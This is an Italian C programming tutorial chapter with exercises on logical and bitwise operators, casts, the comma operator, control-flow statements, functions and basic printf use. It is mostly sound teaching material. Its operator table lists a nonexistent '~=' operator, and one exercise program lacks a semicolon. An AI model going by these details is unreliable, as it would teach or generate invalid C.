Quando si vogliono combinare assieme diverse espressioni logiche, comprendendo in queste anche delle variabili che contengono un valore booleano, si utilizzano gli operatori logici (noti normalmente come: AND, OR, NOT, ecc.). Il risultato di un'espressione logica complessa è quello dell'ultima espressione elementare valutata effettivamente, in quanto le sottoespressioni che non possono cambiare l'esito della condizione complessiva non vengono valutate. Gli operatori logici sono elencati nella tabella successiva.

Tabella 92.43. Elenco degli operatori logici. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
`!` ***op***	Inverte il risultato logico dell'operando.
op1 `&&` ***op2***	Se il risultato del primo operando è *Falso* non valuta il secondo.
op1 `||` ***op2***	Se il risultato del primo operando è *Vero* non valuta il secondo.

Un tipo particolare di operatore logico è l'operatore condizionale, il quale permette di eseguire espressioni diverse in relazione al risultato di una condizione. La sua sintassi si esprime nel modo seguente:

condizione `?` ***espressione1*** `:` ***espressione2***

In pratica, se l'espressione che rappresenta la condizione si avvera, viene eseguita la prima espressione che segue il punto interrogativo, altrimenti viene eseguita quella che segue i due punti.

92.3.4.1 Esercizio

Osservando i pezzi di codice indicati, si scriva il valore contenuto nella variabile ***c***. Il primo caso appare risolto, come esempio:

Codice	Valore contenuto nella variabile ***c*** dopo l'esecuzione del codice mostrato

`int a = 5;`
`signed char b = -4;`
`int c = ! (a > b);`
	c contiene 0.

`int a = 4;`
`signed char b = (3 < 5);`
`int c = a && b;`	

`int a = 4;`
`signed char b = (3 < 5);`
`int c = a || b;`	

`unsigned int a = 4 + 3;`
`signed char b = -5;`
`int c = (b > 0) || (a > b);`	

92.3.5 Operatori binari

Il linguaggio C consente di eseguire alcune operazioni binarie, sui **valori interi**, come spesso è possibile fare con un linguaggio assemblatore, anche se non è possibile interrogare degli indicatori (*flag*) che informino sull'esito delle azioni eseguite. Sono disponibili le operazioni elencate nella tabella successiva.

Tabella 92.45. Elenco degli operatori binari. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

<table>
<tr><th>Operatore e operandi</th><th>Descrizione</th></tr>
<tr><td>op1 & op2</td><td>AND bit per bit.</td></tr>
<tr><td>op1 | op2</td><td>OR bit per bit.</td></tr>
<tr><td>op1 ^ op2</td><td>XOR bit per bit (OR esclusivo).</td></tr>
<tr><td>op1 << op2</td><td>Scorrimento a sinistra di op2 bit. A destra vengono aggiunti bit a zero</td></tr>
<tr><td>op1 >> op2</td><td>Scorrimento a destra di op2 bit. Il valore dei bit aggiunti a sinistra potrebbe tenere conto del segno.</td></tr>
<tr><td>~op1</td><td>Complemento a uno.</td></tr>
<tr><td>op1 &= op2</td><td>op1 = (op1 & op2)</td></tr>
<tr><td>op1 |= op2</td><td>op1 = (op1 | op2)</td></tr>
<tr><td>op1 ^= op2</td><td>op1 = (op1 ^ op2)</td></tr>
<tr><td>op1 <<= op2</td><td>op1 = (op1 << op2)</td></tr>
<tr><td>op1 >>= op2</td><td>op1 = (op1 >> op2)</td></tr>
<tr><td>op1 ~= op2</td><td>op1 = ~op2</td></tr>
</table>

A seconda del compilatore e della piattaforma, lo scorrimento a destra potrebbe essere di tipo aritmetico, ovvero potrebbe tenere conto del segno. Pertanto, non potendo fare sempre affidamento su questa ipotesi, è prudente far sì che i valori di cui si fa lo scorrimento a destra siano sempre senza segno, o comunque positivi.

Per aiutare a comprendere il meccanismo vengono mostrati alcuni esempi. In particolare si utilizzano due operandi di tipo '`char`' (a 8 bit) senza segno: ***a*** contenente il valore 42, pari a 00101010_2; ***b*** contenente il valore 51, pari a 00110011_2.

```
c = a & b
```

00101010_2 (42_{10}) AND

00110011_2 (51_{10}) =

00100010_2 (34_{10})

```
c = a | b
```

00101010_2 (42_{10}) OR

00110011_2 (51_{10}) =

00111011_2 (59_{10})

```
c = a ^ b
```

00101010_2 (42_{10}) XOR

00110011_2 (51_{10}) =

00011001_2 (25_{10})

Lo scorrimento, invece, viene mostrato sempre solo per una singola unità: ***a*** contenente sempre il valore 42; ***b*** contenente il valore 1.

`c = a << b`

00101010_2	(42_{10})	<<
00000001_2	(1_{10})	=
01010100_2	(84_{10})	

`c = a >> b`

00101010_2	(42_{10})	>>
00000001_2	(1_{10})	=
00010101_2	(21_{10})	

`c = ~a`

00101010_2	(42_{10})
11010101_2	(213_{10})

92.3.5.1 Esercizio

Osservando i pezzi di codice indicati, si scriva il valore contenuto nella variabile ***c***. L'architettura a cui ci si riferisce prevede l'uso del complemento a due per la rappresentazione dei numeri negativi e lo scorrimento a destra è di tipo aritmetico (in quanto preserva il segno). I primi casi appaiono risolti, come esempio:

Codice	Valore contenuto nella variabile ***c*** dopo l'esecuzione del codice mostrato
`int a = -20;` `int c = a >> 1;`	***c*** contiene −10.

`int a = 5;`
`int b = 12;`
`int c = a & b;`	

`int a = 5;`
`int b = 12;`
`int c = a | b;`	

`int a = 5;`
`int b = 12;`
`int c = a ^ b;`	

`int a = 5;` `int c = a << 1;`	
`int a = 21;` `int c = a >> 1;`	

92.3.5.2 Esercizio

Scrivere diversi programmi per verificare l'esercizio precedente. Viene proposto un esempio, riferito a un caso che non appare nell'esercizio precedente, con cui si ottiene il complemento a uno:

```
#include <stdio.h>
int main (void)
{
    int a = 21;
    int c = ~a;
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}
```

92.3.6 Conversione di tipo

Quando si assegna un valore a una variabile, nella maggior parte dei casi, il contesto stabilisce il tipo di questo valore in modo corretto. Di fatto, è il tipo della variabile ricevente che stabilisce la conversione necessaria. Tuttavia, il problema si pone anche durante la valutazione di un'espressione.

Per esempio, '**`5/4`**' viene considerata la divisione di due interi e, di conseguenza, l'espressione restituisce un valore intero, cioè 1. Diverso sarebbe se si scrivesse '**`5.0/4.0`**', perché in questo caso si tratterebbe della divisione tra due numeri a virgola mobile (per la precisione, di tipo '**`double`**') e il risultato è un numero a virgola mobile.

Quando si pone il problema di risolvere l'ambiguità si utilizza esplicitamente la conversione del tipo, attraverso un ***cast***:

(***tipo***) ***espressione***

In pratica, si deve indicare tra parentesi tonde il nome del tipo di dati in cui deve essere convertita l'espressione che segue. Il problema sta nella precedenza che ha il cast nell'insieme degli altri operatori e in generale conviene utilizzare altre parentesi per chiarire la relazione che ci deve essere.

```
int x = 10;
double y;
…
y = (double) x/9;
```

In questo caso, la variabile intera ***x*** viene convertita nel tipo '**`double`**' (a virgola mobile) prima di eseguire la divisione. Dal momento che il cast ha precedenza sull'operazione di divisione, non si pongono problemi, inoltre, la divisione avviene trasformando implicitamente il 9 intero in un 9,0 di tipo '**`double`**'. In pratica, l'operazione avviene utilizzando valori '**`double`**' e restituendo un risultato '**`double`**'.

92.3.6.1 Esercizio

Indicare il tipo che si dovrebbe ottenere dalla valutazione delle espressioni proposte e il risultato effettivo. Il primo caso appare risolto, come esempio:

Espressione	Tipo che dovrebbe avere il risultato dell'espressione
`4+((double) 3)`	`(double) 7`
`(int) (4.4+4.9)`	
`(double) 4/3`	
`((double) 4)/3`	
`4 * ((long int) 3)`	

92.3.7 Espressioni multiple

Un'istruzione, cioè qualcosa che termina con un punto e virgola, può contenere diverse espressioni separate da una virgola. Tenendo presente che in C l'assegnamento di una variabile è anche un'espressione, la quale restituisce il valore assegnato, si veda l'esempio seguente:

```
int x;
int y;
…
y = 10, x = 20, y = x*2;
```

L'esempio mostra un'istruzione contenente tre espressioni: la prima assegna a ***y*** il valore 10, la seconda assegna a ***x*** il valore 20 e la terza sovrascrive ***y*** assegnandole il risultato del prodotto ***x***·2. In pratica, alla fine la variabile ***y*** contiene il valore 40 e ***x*** contiene 20.

Un'espressione multipla, come quella dell'esempio, restituisce il valore dell'ultima a essere eseguita. Tornando all'esempio, visto, gli si può apportare una piccola modifica per comprendere il concetto:

```
int x;
int y;
int z;
…
z = (y = 10, x = 20, y = x*2);
```

La variabile ***z*** si trova a ricevere il valore dell'espressione '`y = x*2`', perché è quella che viene eseguita per ultima nel gruppo raccolto tra parentesi.

A proposito di «espressioni multiple» vale la pena di ricordare ciò che accade con gli assegnamenti multipli, con l'esempio seguente:

```
y = x = 10;
```

Qui si vede l'assegnamento alla variabile ***y*** dello stesso valore che viene assegnato alla variabile ***x***. In pratica, sia ***x*** che ***y*** contengono alla fine il numero 10, perché le precedenze sono tali che è come se fosse scritto: '`y = (x = 10)`'.

92.3.7.1 Esercizio

Osservando i pezzi di codice indicati, si scriva il valore contenuto nella variabile ***c***. Il primo caso appare risolto, come esempio:

Codice	Valore contenuto nella variabile ***c*** dopo l'esecuzione del codice mostrato

`int a = -20;`
`int b = 10;`
`int c = (a *= 2, b += 10, c = a + b);`
	c contiene −20.

`int a = -20;`
`int b = 10;`
`int c = (b = 2, b = a, c = a + b);`	

`int a = -20;`
`int b = 10;`
`int c = (b = 2, b = a++, c = a + b);`	

`int a = -20;`
`int b = 10;`
`int c = (b = 2, b = ++a, c = a + b);`	

92.3.7.2 Esercizio

Scrivere diversi programmi per verificare l'esercizio precedente. Viene proposto un esempio, riferito al caso iniziale risolto:

```
#include <stdio.h>
int main (void)
{
    int a = -20;
    int b = 10;
    int c = (a *= 2, b += 10, c = a + b);
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}
```

92.4 Strutture di controllo di flusso del linguaggio C

Il linguaggio C gestisce praticamente tutte le strutture di controllo di flusso degli altri linguaggi di programmazione, compreso *go-to* che comunque è sempre meglio non utilizzare e qui, volutamente, non viene presentato.

Le strutture di controllo permettono di sottoporre l'esecuzione di una parte di codice alla verifica di una condizione, oppure permettono di eseguire dei cicli, sempre sotto il controllo di una

condizione. La parte di codice che viene sottoposta a questo controllo, può essere una singola istruzione, oppure un gruppo di istruzioni (precisamente si chiamerebbe istruzione composta). Nel secondo caso, è necessario delimitare questo gruppo attraverso l'uso delle parentesi graffe.

Dal momento che è comunque consentito di realizzare un gruppo di istruzioni che in realtà ne contiene una sola, probabilmente è meglio utilizzare sempre le parentesi graffe, in modo da evitare equivoci nella lettura del codice. Dato che le parentesi graffe sono usate nel codice C, se queste appaiono nei modelli sintattici indicati, significa che fanno parte delle istruzioni e non della sintassi.

Negli esempi, i rientri delle parentesi graffe seguono le indicazioni della guida *GNU coding standards*.

92.4.1 Struttura condizionale: «if»

La struttura condizionale è il sistema di controllo fondamentale dell'andamento del flusso delle istruzioni.

```
if (condizione) istruzione
```

```
if (condizione) istruzione else istruzione
```

Se la condizione si verifica, viene eseguita l'istruzione o il gruppo di istruzioni che segue; quindi il controllo passa alle istruzioni successive alla struttura. Se viene utilizzata la sotto-struttura che si articola a partire dalla parola chiave '**`else`**', nel caso non si verifichi la condizione, viene eseguita l'istruzione che ne dipende. Sotto vengono mostrati alcuni esempi completi, dove è possibile variare il valore assegnato inizialmente alla variabile ***importo*** per verificare il comportamento delle istruzioni.

```
#include <stdio.h>
int main (void)
{
    int importo;
    importo = 10001;
    if (importo > 10000) printf ("L'offerta è vantaggiosa\n");
    getchar ();
    return 0;
}
```

```
#include <stdio.h>
int main (void)
{
    int importo;
    int memorizza;
    importo = 10001;
    if (importo > 10000)
      {
        memorizza = importo;
        printf ("L'offerta è vantaggiosa\n");
      }
    else
      {
        printf ("Lascia perdere\n");
      }
    getchar ();
    return 0;
}
```

L'esempio successivo, in particolare, mostra un modo grazioso per allineare le sottocondizioni, senza eccedere negli annidamenti:

```
#include <stdio.h>
int main (void)
{
    int importo;
    int memorizza;
    importo = 10001;
    if (importo > 10000)
      {
        memorizza = importo;
        printf ("L'offerta è vantaggiosa\n");
      }
    else if (importo > 5000)
      {
        memorizza = importo;
        printf ("L'offerta è accettabile\n");
      }
    else
      {
        printf ("Lascia perdere\n");
      }
    getchar ();
    return 0;
}
```

92.4.1.1 Esercizio

Partendo dalla struttura successiva, si scriva un programma che, in base al valore della variabile x, mostri dei messaggi differenti: se x è inferiore a 1000 oppure è maggiore di 10000, si viene avvisati che il valore non è valido; se invece x è valido, se questo è maggiore di 5000, si viene avvisati che «il livello è alto», se invece fosse inferiore si viene avvisati che «il livello è basso»; infine, se il valore è pari a 5000, si viene avvisati che il livello è ottimale.

```
#include <stdio.h>
int main (void)
{
    int x;
    x = 5000;

    if ((x < 1000) || (x > 10000))
      {
        printf ("Il valore di x non è valido!\n");
      }
    else if …
      {
        …
        …
        …
      }
    getchar ();
    return 0;
}
```

92.4.1.2 Esercizio

Si osservi il programma successivo è si indichi cosa viene visualizzato alla sua esecuzione, spiegando il perché.

```
#include <stdio.h>
int main (void)
{
    int x;
    x = -1;

    if (x)
      {
        printf ("Sono felice :-)\n");
      }
    else
      {
        printf ("Sono triste :-(\n");
      }
    getchar ();
    return 0;
}
```

92.4.2 Struttura di selezione: «switch»

La struttura di selezione che si attua con l'istruzione '**`switch`**', è un po' troppo complessa per essere rappresentata facilmente attraverso uno schema sintattico. In generale, questa struttura permette di **saltare** a una certa posizione interna alla struttura, in base al risultato di un'espressione. L'esempio seguente mostra la visualizzazione del nome del mese, in base al valore di un intero.

```
#include <stdio.h>
int main (void)
{
    int mese;
    mese = 11;

    switch (mese)
      {
        case 1: printf ("gennaio\n"); break;
        case 2: printf ("febbraio\n"); break;
        case 3: printf ("marzo\n"); break;
        case 4: printf ("aprile\n"); break;
        case 5: printf ("maggio\n"); break;
        case 6: printf ("giugno\n"); break;
        case 7: printf ("luglio\n"); break;
        case 8: printf ("agosto\n"); break;
        case 9: printf ("settembre\n"); break;
        case 10: printf ("ottobre\n"); break;
        case 11: printf ("novembre\n"); break;
        case 12: printf ("dicembre\n"); break;
      }
    getchar ();
```

```
    return 0;
}
```

Come si vede, dopo l'istruzione con cui si emette il nome del mese attraverso lo standard output, viene richiesto di uscire dalla struttura, attraverso l'istruzione '**`break`**', perché altrimenti si passerebbe all'esecuzione delle istruzioni del caso successivo, se presente. Sulla base di questo principio, un gruppo di casi può essere raggruppato assieme, quando si vuole che ognuno di questi esegua lo stesso insieme di istruzioni.

```
#include <stdio.h>
int main (void)
{
    int anno;
    int mese;
    int giorni;
    anno = 2011;
    mese = 2;

    switch (mese)
      {
        case 1:
        case 3:
        case 5:
        case 7:
        case 8:
        case 10:
        case 12:
            giorni = 31;
            break;
        case 4:
        case 6:
        case 9:
        case 11:
            giorni = 30;
            break;
        case 2:
            if (((anno % 4 == 0) && !(anno % 100 == 0))
                || (anno % 400 == 0))
              {
                giorni = 29;
              }
            else
              {
                giorni = 28;
              }
            break;
      }
    printf ("Il mese %d dell'anno %d ha %d giorni.\n", mese, anno, giorni);
    getchar ();
```

```
    return 0;
```

È anche possibile dichiarare un caso predefinito che si verifichi quando nessuno degli altri si avvera.

```
#include <stdio.h>
int main (void)
{
    int mese;
    mese = 13;

    switch (mese)
      {
        case 1: printf ("gennaio\n"); break;
        case 2: printf ("febbraio\n"); break;
        case 3: printf ("marzo\n"); break;
        case 4: printf ("aprile\n"); break;
        case 5: printf ("maggio\n"); break;
        case 6: printf ("giugno\n"); break;
        case 7: printf ("luglio\n"); break;
        case 8: printf ("agosto\n"); break;
        case 9: printf ("settembre\n"); break;
        case 10: printf ("ottobre\n"); break;
        case 11: printf ("novembre\n"); break;
        case 12: printf ("dicembre\n"); break;
        default: printf ("mese non corretto\n"); break;
      }
    getchar ();
    return 0;
}
```

92.4.2.1 Esercizio

In un esempio già mostrato, appare la porzione di codice seguente. Si spieghi nel dettaglio come viene calcolata la quantità di giorni di febbraio:

```
        case 2:
            if (((anno % 4 == 0) && !(anno % 100 == 0))
                || (anno % 400 == 0))
              {
                giorni = 29;
              }
            else
              {
                giorni = 28;
              }
            break;
```

92.4.3 Iterazione con condizione di uscita iniziale: «while»

L'iterazione si ottiene normalmente in C attraverso l'istruzione '**`while`**', la quale esegue un'istruzione, o un gruppo di queste, finché la condizione continua a restituire il valore *Vero*. La condizione viene valutata prima di eseguire il gruppo di istruzioni e poi ogni volta che termina un ciclo, prima dell'esecuzione del successivo.

```
while (condizione) istruzione
```

L'esempio seguente fa apparire per 10 volte la lettera «x».

```
#include <stdio.h>
int main (void)
{
    int i = 0;

    while (i < 10)
      {
        i++;
        printf ("x");
      }
    printf ("\n");
    getchar ();
    return 0;
}
```

Ma si osservi anche la variante seguente, con cui si ottiene un codice più semplice in linguaggio macchina:

```
#include <stdio.h>
int main (void)
{
    int i = 10;

    while (i)
      {
        i--;
        printf ("x");
      }
    printf ("\n");
    getchar ();
    return 0;
}
```

Nel blocco di istruzioni di un ciclo '**`while`**', ne possono apparire alcune particolari, che rappresentano dei salti incondizionati nell'ambito del ciclo:

- '**`break`**', che serve a uscire definitivamente dalla struttura del ciclo;

* '**`continue`**', che serve a interrompere l'esecuzione del gruppo di istruzioni, riprendendo immediatamente con il ciclo successivo (a partire dalla valutazione della condizione).

L'esempio seguente è una variante del calcolo di visualizzazione mostrato sopra, modificato in modo da vedere il funzionamento dell'istruzione '**`break`**'. All'inizio della struttura, '**`while (1)`**' equivale a stabilire che il ciclo è senza fine, perché la condizione è sempre vera. In questo modo, solo la richiesta esplicita di interruzione dell'esecuzione della struttura (attraverso l'istruzione '**`break`**') permette l'uscita da questa.

```
#include <stdio.h>
int main (void)
{
    int i = 0;

    while (1)
      {
        if (i >= 10)
          {
            break;
          }
        i++;
        printf ("x");
      }
    printf ("\n");
    getchar ();
    return 0;
}
```

92.4.3.1 Esercizio

Sulla base delle conoscenze acquisite, si scriva un programma che calcola il fattoriale di un numero senza segno, contenuto nella variabile x. Il fattoriale di x si ottiene con una serie di moltiplicazioni successive: $x \cdot (x-1) \cdot (x-2) \cdot ... \cdot 1$.

92.4.3.2 Esercizio

Sulla base delle conoscenze acquisite, si scriva un programma che verifica se un numero senza segno, contenuto nella variabile x, è un numero primo.

92.4.4 Iterazione con condizione di uscita finale: «do-while»

Una variante del ciclo '**`while`**', in cui l'analisi della condizione di uscita avviene dopo l'esecuzione del blocco di istruzioni che viene iterato, è definito dall'istruzione '**`do`**'.

```
do blocco_di_istruzioni while (condizione);
```

In questo caso, si esegue un gruppo di istruzioni una volta, poi se ne ripete l'esecuzione finché la condizione restituisce il valore *Vero*.

```
int i = 0;

do
  {
    i++;
    printf ("x");
  }
while (i < 10);
printf ("\n");
```

L'esempio mostrato è quello già usato in precedenza per visualizzare una sequenza di dieci «x», con l'adattamento necessario a utilizzare questa struttura di controllo.

La struttura di controllo '**do**...**while**' è in disuso, perché, generalmente, al suo posto si preferisce gestire i cicli di questo tipo attraverso una struttura '**while**', pura e semplice.

92.4.4.1 Esercizio

Modificare il programma che verifica se un numero è primo, usando un ciclo '**do**...**while**'.

92.4.5 Ciclo enumerativo: «for»

In presenza di iterazioni in cui si deve incrementare o decrementare una variabile a ogni ciclo, si usa preferibilmente la struttura '**for**', che in C permetterebbe un utilizzo più ampio di quello comune:

```
for ([espressione1]; [espressione2]; [espressione3]) istruzione
```

La forma tipica di un'istruzione '**for**' è quella per cui la prima espressione corrisponde all'assegnamento iniziale di una variabile, la seconda a una condizione che deve verificarsi fino a che si vuole che sia eseguita l'istruzione (o il gruppo di istruzioni) e la terza all'incremento o decremento della variabile inizializzata con la prima espressione. In pratica, l'utilizzo normale del ciclo '**for**' potrebbe esprimersi nella sintassi seguente:

```
for (var = n; condizione; var++) istruzione
```

Il ciclo '**for**' potrebbe essere definito anche in maniera differente, più generale: la prima espressione viene eseguita una volta sola all'inizio del ciclo; la seconda viene valutata all'inizio di ogni ciclo e il gruppo di istruzioni viene eseguito solo se il risultato è *Vero*; l'ultima viene eseguita alla fine dell'esecuzione del gruppo di istruzioni, prima che si ricominci con l'analisi della condizione.

L'esempio già visto, in cui viene visualizzata per 10 volte una «x», potrebbe tradursi nel modo seguente, attraverso l'uso di un ciclo '**for**':

```
#include <stdio.h>
int main (void)
{
    int i;

    for (i = 0; i < 10; i++)
      {
        printf ("x");
      }
    printf ("\n");
    getchar ();
    return 0;
}
```

Anche nelle istruzioni controllate da un ciclo '**`for`**' si possono collocare istruzioni '**`break`**' e '**`continue`**', con lo stesso significato visto per il ciclo '**`while`**' e '**`do`**...**`while`**'.

Sfruttando la possibilità di inserire più espressioni in una singola istruzione, si possono realizzare dei cicli '**`for`**' molto più complessi, anche se questo è sconsigliabile per evitare di scrivere codice troppo difficile da interpretare. In questo modo, l'esempio precedente potrebbe essere ridotto a quello che segue, dove si usa un punto e virgola solitario per rappresentare un'istruzione nulla:

```
#include <stdio.h>
int main (void)
{
    int i;

    for (i = 0; i < 10; printf ("x"), i++)
      {
        ;
      }
    printf ("\n");
    getchar ();
    return 0;
}
```

Se si utilizzano istruzioni multiple, separate con la virgola, occorre tenere presente che **l'espressione che esprime la condizione deve rimanere singola** (se per la condizione si usasse un'espressione multipla, conterebbe solo la valutazione dell'ultima). Naturalmente, nel caso della condizione, si possono costruire condizioni complesse con l'ausilio degli operatori logici, ma rimane il fatto che l'operatore virgola ('`,`') non dovrebbe avere senso lì.

Nel modello sintattico iniziale si vede che le tre espressioni sono opzionali e rimane solo l'obbligo di mettere i punti e virgola relativi. L'esempio seguente mostra un ciclo senza fine che viene interrotto attraverso un'istruzione '**`break`**':

```
#include <stdio.h>
int main (void)
{
    int i = 0;
```

```
    for (;;)
      {
        if (i >= 10)
          {
            break;
          }
        printf ("x");
        i++;
      }
    getchar ();
    return 0;
}
```

92.4.5.1 Esercizio

Modificare il programma che calcola il fattoriale di un numero, usando un ciclo '`for`'.

92.4.5.2 Esercizio

Modificare il programma che verifica se un numero è primo, usando un ciclo '`for`'.

92.5 Funzioni del linguaggio C

Il linguaggio C offre le funzioni come mezzo per realizzare la scomposizione del codice in subroutine. Prima di poter essere utilizzate attraverso una chiamata, le funzioni devono essere dichiarate, anche se non necessariamente descritte. In pratica, se si vuole indicare nel codice una chiamata a una funzione che viene descritta più avanti, occorre almeno dichiararne il prototipo.

Le funzioni del linguaggio C prevedono il passaggio di parametri solo **per valore**, con tutti i tipi di dati, esclusi gli array (che invece vanno passati per riferimento, attraverso il puntatore alla loro posizione iniziale in memoria).

Il linguaggio C, attraverso la libreria standard, offre un gran numero di funzioni comuni che vengono importate nel codice attraverso l'istruzione '`#include`' del precompilatore. In pratica, in questo modo si importa la parte di codice necessaria alla dichiarazione e descrizione di queste funzioni. Per esempio, come si è già visto, per poter utilizzare la funzione ***printf()*** si deve inserire la riga '`#include <stdio.h>`' nella parte iniziale del file sorgente.

92.5.1 Dichiarazione di un prototipo

Quando la descrizione di una funzione può essere fatta solo dopo l'apparizione di una sua chiamata, occorre dichiararne il prototipo all'inizio, secondo la sintassi seguente:

tipo *nome* ([*tipo* [*nome*] [,...]]);

Il tipo, posto all'inizio, rappresenta il tipo di valore che la funzione restituisce. Se la funzione non deve restituire alcunché, si utilizza il tipo '**`void`**'. Se la funzione utilizza dei parametri, il tipo di questi deve essere elencato tra le parentesi tonde. L'istruzione con cui si dichiara il prototipo termina regolarmente con un punto e virgola.

Lo standard C stabilisce che una funzione che non richiede parametri deve utilizzare l'identificatore '**`void`**' in modo esplicito, all'interno delle parentesi.

Segue la descrizione di alcuni esempi.

- ```
  int fattoriale (int);
  ```
  In questo caso, viene dichiarato il prototipo della funzione '**`fattoriale`**', che richiede un parametro di tipo '**`int`**' e restituisce anche un valore di tipo '**`int`**'.

- ```
  int fattoriale (int n);
  ```
  Come nell'esempio precedente, dove in più, per comodità si aggiunge il nome del parametro che comunque viene ignorato dal compilatore.

- ```
  void elenca ();
  ```
  Si tratta della dichiarazione di una funzione che fa qualcosa senza bisogno di ricevere alcun parametro e senza restituire alcun valore (*void*).

- ```
  void elenca (void);
  ```
  Esattamente come nell'esempio precedente, solo che è indicato in modo esplicito il fatto che la funzione non riceve argomenti (il tipo '**`void`**' è stato messo all'interno delle parentesi), come prescrive lo standard.

92.5.1.1 Esercizio

Scrivere i prototipi delle funzioni descritte nello schema successivo:

Nome della funzione	Tipo di valore restituito	Parametri
`alfa`	non restituisce alcunché	***x*** di tipo intero senza segno ***y*** di tipo carattere ***z*** di tipo a virgola mobile normale
`beta`	intero normale senza segno	non ci sono parametri
`gamma`	numero a virgola mobile di tipo normale	***x*** di tipo intero con segno ***y*** di tipo carattere senza segno

92.5.2 Descrizione di una funzione

La descrizione della funzione, rispetto alla dichiarazione del prototipo, richiede l'indicazione dei nomi da usare per identificare i parametri (mentre nel prototipo questi sono facoltativi) e naturalmente l'aggiunta delle istruzioni da eseguire. Le parentesi graffe che appaiono nello schema sintattico fanno parte delle istruzioni necessarie.

```
tipo nome ( [tipo parametro [, ...] ] )
{
    istruzione;
    ...
}
```

Per esempio, la funzione seguente esegue il prodotto tra i due parametri forniti e ne restituisce il risultato:

```
int prodotto (int x, int y)
{
    return (x * y);
}
```

I parametri indicati tra parentesi, rappresentano una dichiarazione di variabili locali[11] che contengono inizialmente i valori usati nella chiamata. Il valore restituito dalla funzione viene definito attraverso l'istruzione '**`return`**', come si può osservare dall'esempio. Naturalmente, nelle funzioni di tipo '**`void`**' l'istruzione '**`return`**' va usata senza specificare il valore da restituire, oppure si può fare a meno del tutto di tale istruzione.

Nei manuali tradizionale del linguaggio C si descrivono le funzioni nel modo visto nell'esempio precedente; al contrario, nella guida *GNU coding standards* si richiede di mettere il nome della funzione in corrispondenza della colonna uno, così:

```
int
prodotto (int x, int y)
{
    return (x * y);
}
```

Le variabili dichiarate all'interno di una funzione, oltre a quelle dichiarate implicitamente come mezzo di trasporto degli argomenti della chiamata, sono visibili solo al suo interno, mentre quelle dichiarate al di fuori di tutte le funzioni, sono variabili globali, accessibili potenzialmente da ogni parte del programma.[12] Se una variabile locale ha un nome coincidente con quello di una variabile globale, allora, all'interno della funzione, quella variabile globale non è accessibile.

Le regole da seguire, almeno in linea di principio, per scrivere programmi chiari e facilmente modificabili, prevedono che si debba fare in modo di rendere le funzioni indipendenti dalle variabili globali, fornendo loro tutte le informazioni necessarie attraverso i parametri. In questo modo diventa del tutto indifferente il fatto che una variabile locale vada a mascherare una variabile globale; inoltre, ciò permette di non dover tenere a mente il ruolo di queste

variabili globali e (se non si usano le variabili «statiche») fa sì che si ottenga una funzione completamente «rientrante».

92.5.2.1 Esercizio

Completare i programmi successivi con la dichiarazione dei prototipi e con la descrizione delle funzioni necessarie:

```
#include <stdio.h>
//
// Mettere qui il prototipo della funzione «fattoriale».
//
// Mettere qui la descrizione della funzione «fattoriale».
//
int main (void)
{
    unsigned int x = 7;
    unsigned int f;
    f = fattoriale (x);
    printf ("Il fattoriale di %d è pari a %d.\n", x, f);
    getchar ();
    return 0;
}
```

```
#include <stdio.h>
//
// Mettere qui il prototipo della funzione «primo».
//
// Mettere qui la descrizione della funzione «primo».
//
int main (void)
{
    unsigned int x = 11;
    if (primo (x))
      {
        printf ("%d è un numero primo.\n", x);
      }
    else
      {
        printf ("%d non è un numero primo.\n", x);
      }
    getchar ();
    return 0;
}
```

```
#include <stdio.h>
//
// Mettere qui il prototipo della funzione «interesse».
```

```
//
// Mettere qui la descrizione della funzione «interesse».
//
// L'interesse si ottiene come capitale * tasso * tempo.
//
int main (void)
{
    double    capitale = 10000; // Euro
    double       tasso = 0.03;  // pari al 3 %
    unsigned int tempo = 3      // anni
    double   interessi;
    interessi = interesse (capitale, tasso, tempo);
    printf ("Un capitale di %f Euro ", capitale);
    printf ("investito al tasso del %f%% ", tasso * 100);
    printf ("Per %d anni, dà interessi per %f Euro.\n", tempo, interessi);
    getchar ();
    return 0;
}
```

92.5.3 Vincoli nei nomi

Quando si definiscono variabili e funzioni nel proprio programma, occorre avere la prudenza di non utilizzare nomi che coincidano con quelli delle librerie che si vogliono usare e che non possano andare in conflitto con l'evoluzione del linguaggio. A questo proposito va osservata una regola molto semplice: non si possono usare nomi «esterni» che inizino con il trattino basso ('_'); in tutti gli altri casi, invece, non si possono usare i nomi che iniziano con un trattino basso e continuano con una lettera maiuscola o un altro trattino basso.

Il concetto di nome esterno viene descritto a proposito della compilazione di un programma che si sviluppa in più file-oggetto da collegare assieme (sezione 77.3). L'altro vincolo serve a impedire, per esempio, la creazione di nomi come '**_Bool**' o '**__STDC_IEC_559__**'. Rimane quindi la possibilità di usare nomi che inizino con un trattino basso, purché continuino con un carattere minuscolo e siano visibili solo nell'ambito del file sorgente che si compone.

92.5.4 I/O elementare

L'input e l'output elementare che si usa nella prima fase di apprendimento del linguaggio C si ottiene attraverso l'uso di due funzioni fondamentali: ***printf()*** e ***scanf()***. La prima si occupa di emettere una stringa dopo averla trasformata in base a dei codici di composizione determinati; la seconda si occupa di ricevere input (generalmente da tastiera) e di trasformarlo secondo codici di conversione simili alla prima. Infatti, il problema che si incontra inizialmente, quando si vogliono emettere informazioni attraverso lo standard output per visualizzarle sullo schermo, sta nella necessità di convertire in qualche modo tutti i dati che non siano già di tipo '**char**'. Dalla parte opposta, quando si inserisce un dato che non sia da intendere come un semplice carattere alfanumerico, serve una conversione adatta nel tipo di dati corretto.

Per utilizzare queste due funzioni, occorre includere il file di intestazione 'stdio.h', come è già stato visto più volte negli esempi.

Le due funzioni, ***printf()*** e ***scanf()***, hanno in comune il fatto di disporre di una quantità variabile di parametri, dove solo il primo è stato precisato. Per questa ragione, la stringa che costituisce il primo argomento deve contenere tutte le informazioni necessarie a individuare quelli successivi; pertanto, si fa uso di ***specificatori di conversione*** che definiscono il tipo e l'ampiezza dei dati da trattare. A titolo di esempio, lo specificatore '**`%i`**' si riferisce a un valore intero di tipo '**`int`**', mentre '**`%li`**' si riferisce a un intero di tipo '**`long int`**'.

Vengono mostrati solo alcuni esempi, perché una descrizione più approfondita nell'uso delle funzioni ***printf()*** e ***scanf()*** appare in altre sezioni (78.3 e 80.17). Si comincia con l'uso di ***printf()***:

```
…
double capitale = 1000.00;
double tasso    = 0.5;
int    montante = (capitale * tasso) / 100;
…
printf ("%s: il capitale %f, ", "Ciao", capitale);
printf ("investito al tasso %f%% ", tasso);
printf ("ha prodotto un montante pari a %d.\n", montante);
…
```

